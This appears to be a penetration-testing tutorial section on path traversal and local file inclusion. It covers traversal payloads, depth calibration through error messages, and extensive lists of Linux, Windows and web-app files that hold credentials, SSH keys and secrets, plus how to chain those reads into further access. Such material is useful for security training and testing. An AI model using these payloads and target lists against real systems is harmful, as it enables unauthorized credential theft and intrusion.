Path traversal is how you reach files outside the base directory the app expects. The core primitive is ../ — climbs one directory per sequence — but real exploitation needs to match the app’s path construction and usually requires calibrating the depth.

Basic Payload

?file=../../../../etc/passwd

Each ../ goes up one directory. You need enough to reach /, then descend into the target path.

Calibrating the Depth

You usually don’t know how deep the app’s base directory is. Two approaches:

Approach 1 — Spray Depth

Just use more ../ than you think you need. Excess ../ at the root (/) are no-ops in most filesystems:

?file=../../../../../../../../../../etc/passwd

Ten ../ on a three-deep base still resolves correctly. Fast and reliable.

Approach 2 — Trigger an Error

Supply a known-invalid path and read the error message:

?file=xxx

The error often reveals the full base path (Warning: include(./languages/xxx) failed to open stream ...). Count directories from that path to /.

Interesting Files to Read (Linux)

/etc/passwd                            # user list
/etc/shadow                            # password hashes (root only, usually)
/etc/hosts                             # host mappings, internal names
/etc/hostname                          # system identifier
/etc/issue                             # banner, often reveals distro
/etc/resolv.conf                       # DNS servers
/proc/self/environ                     # env vars of web process (CGI only)
/proc/self/cmdline                     # how the web process was started
/proc/self/status                      # PID, user, parent of web process
/proc/version                          # kernel version
/proc/cpuinfo                          # hardware fingerprint
/home/<user>/.ssh/id_rsa               # SSH key if readable
/home/<user>/.ssh/authorized_keys      # see who can SSH in
/home/<user>/.bash_history             # command history
/root/.ssh/id_rsa                      # root SSH key (needs root)
/var/log/apache2/access.log            # for log poisoning (see LFI to RCE)
/var/log/apache2/error.log             # same
/var/log/nginx/access.log              # same
/var/log/auth.log                      # SSH auth logs (SSH username injection)

Interesting Files to Read (Windows)

C:\Windows\win.ini                     # classic LFI confirmation file
C:\Windows\System32\drivers\etc\hosts  # host file
C:\inetpub\wwwroot\web.config          # IIS app config
C:\xampp\apache\conf\httpd.conf        # XAMPP config
C:\Windows\System32\config\SAM         # password hashes (needs privilege)
C:\Users\<user>\.ssh\id_rsa            # SSH key if present
C:\Windows\Panther\unattend.xml        # deployment creds sometimes

Web Application Config Files

These frequently contain DB credentials, API keys, and other secrets:

# PHP apps
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php                # WordPress
/var/www/html/configuration.php            # Joomla
/var/www/html/sites/default/settings.php   # Drupal

# Node
/var/www/html/.env
/var/www/html/config/default.json

# Python (Django, Flask)
/var/www/html/settings.py
/var/www/html/instance/config.py

# Rails
/var/www/html/config/database.yml
/var/www/html/config/secrets.yml

# Java (Tomcat)
/opt/tomcat/conf/tomcat-users.xml
/opt/tomcat/webapps/<app>/WEB-INF/web.xml

# Web server configs
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

Cascading Discoveries

LFI reads make more LFI possible. After you read:

  • config.php → you have DB credentials, often SSH-reusable
  • access.log → you can see which other PHP files exist and target their source
  • nginx.conf → you learn the document root and virtual host layout
  • .bash_history → you learn commands other users ran, potentially including passwords

Treat the first file-read as reconnaissance, not the goal. Each file points to the next one worth reading.

When Traversal Fails

Common reasons:

  • The app strips ../ (see Filter Bypass section)
  • Base path is outside your target’s reach (e.g. inside a chroot jail)
  • The function can’t actually read the target (SELinux, open_basedir, file permissions)
  • The path needs an extension appended (see PHP Wrappers section for the bypass)